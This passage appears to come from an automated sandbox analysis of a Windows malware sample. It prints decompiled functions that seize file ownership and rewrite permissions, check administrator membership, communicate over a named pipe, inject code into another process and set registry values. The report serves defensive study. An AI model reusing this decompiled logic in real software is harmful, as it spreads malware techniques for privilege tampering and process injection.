							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x0
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x0
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0);
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 02F065CC, Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 02F065DF
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02F065F9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 02F0661A
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 02F0663B

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: 44484b9b1b4f62d087c178bd6517cd814c0fbc2c9f377f902db63262b3f2d750
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: E9117371A00218BFDB215F65DC89F9B3FACEB047E9F114024FA09EB290D7B1DD109AA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,EntryPoint), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,EntryPoint), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32 ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 02F37B0B, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.431026712.0000000002F37000.00000040.00000001.sdmp, Offset: 02F37000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 207e2cd5af291110d9f26fee79a92d37478a251b1aaa060a211231afe9d0a7d4
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 481182B2340104AFD744DF55DC80FE6B3EAEB892B0B198055EE08CB31AD675E841C760

Uniqueness

Uniqueness Score: -1.00%

Function 02F00D90, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 6a858954b6304aa946d5f5e80828b60f016d4aa2f350cc1d6ed5062796928294
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: 8FF0C276A125049FDB21DF24C885BAE73F9FB84255F0441A9DA0BD7281DB30E9428B60

Uniqueness

Uniqueness Score: -1.00%

Function 02F09E89, Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 02F09E56
lstrcpy.KERNEL32(?,00000000), ref: 02F09FCA
lstrcat.KERNEL32(?,?), ref: 02F09FDB
lstrcat.KERNEL32(?,0041070C), ref: 02F09FED
GetFileAttributesExA.KERNEL32(?,?,?), ref: 02F0A03D
DeleteFileA.KERNEL32(?), ref: 02F0A088
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 02F0A0BF
lstrcpy.KERNEL32 ref: 02F0A118
lstrlen.KERNEL32(00000022), ref: 02F0A125
GetTempPathA.KERNEL32(000001F4,?), ref: 02F09EFC

Part of subcall function 02F07012: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 02F0706A

Part of subcall function 02F06F19: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\inhioadg,02F0702C), ref: 02F06F37
Part of subcall function 02F06F19: GetProcAddress.KERNEL32(00000000), ref: 02F06F3E
Part of subcall function 02F06F19: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 02F06F64
Part of subcall function 02F06F19: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 02F06F7B

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 02F0A18B
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 02F0A1AE
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 02F0A1FD
